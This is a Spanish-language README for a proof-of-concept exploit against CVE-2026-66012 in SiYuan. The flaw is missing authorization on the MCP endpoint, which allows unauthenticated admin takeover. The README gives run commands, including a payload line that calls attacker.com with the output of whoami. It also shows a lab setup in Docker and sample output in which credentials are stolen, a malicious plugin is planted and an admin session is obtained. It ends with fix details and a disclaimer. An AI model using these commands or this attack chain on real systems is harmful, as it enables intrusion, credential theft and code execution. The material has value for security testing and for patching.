
Exploit de toma de control de administrador no autenticado para CVE-2026-66012 mediante la falta de autorización en MCP para exfiltrar credenciales y lograr ejecución remota de código.
Prueba de concepto para CVE-2026-66012 (CVSS 10.0 Crítico), una vulnerabilidad de autorización faltante en el endpoint MCP (Model Context Protocol) de SiYuan que permite a un atacante no autenticado lograr la toma de control del administrador y la ejecución remota de código cuando el servidor Publish está habilitado en modo anónimo.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 Crítico |
| CWE | CWE-862 — Autorización faltante |
| Afectado | SiYuan < v3.7.2 |
| Corregido | v3.7.2 (commit df51c2bda696) |
| Reportado por | Nguyen Van Hiep (@hypnguyen1209), MBBank |
Tres defectos componen la cadena de ataque:
POST /mcp está registrado solo con model.CheckAuth — sin CheckAdminRole ni CheckReadonly. Cualquier JWT válido (incluido el de ámbito Reader) puede invocar las 31 herramientas MCP.handler.go) invoca las herramientas sin inspeccionar el rol del llamante.RoleReader en cada solicitud cuando Publish.Auth.Enable=false, convirtiendo el fallo de autorización faltante en uno no autenticado.POST /mcp en el puerto de Publish (sin credenciales)conf/conf.json → extraer accessAuthCode, api.token, cookieKeydata/plugins/pwn/ → RCE en el próximo inicio del escritorio mediante nodeIntegration:trueaccessAuthCode robadorequests (pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
Solo para pruebas autorizadas. Configure una instancia vulnerable localmente:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
Actualice a SiYuan v3.7.2 o posterior. La corrección (commit df51c2bda696) aplica:
CheckAdminRole + CheckReadonly en la ruta /mcpconf/conf.json en la herramienta de archivosEste PoC es únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso explícito de prueba es ilegal. Los autores no son responsables del mal uso de este código.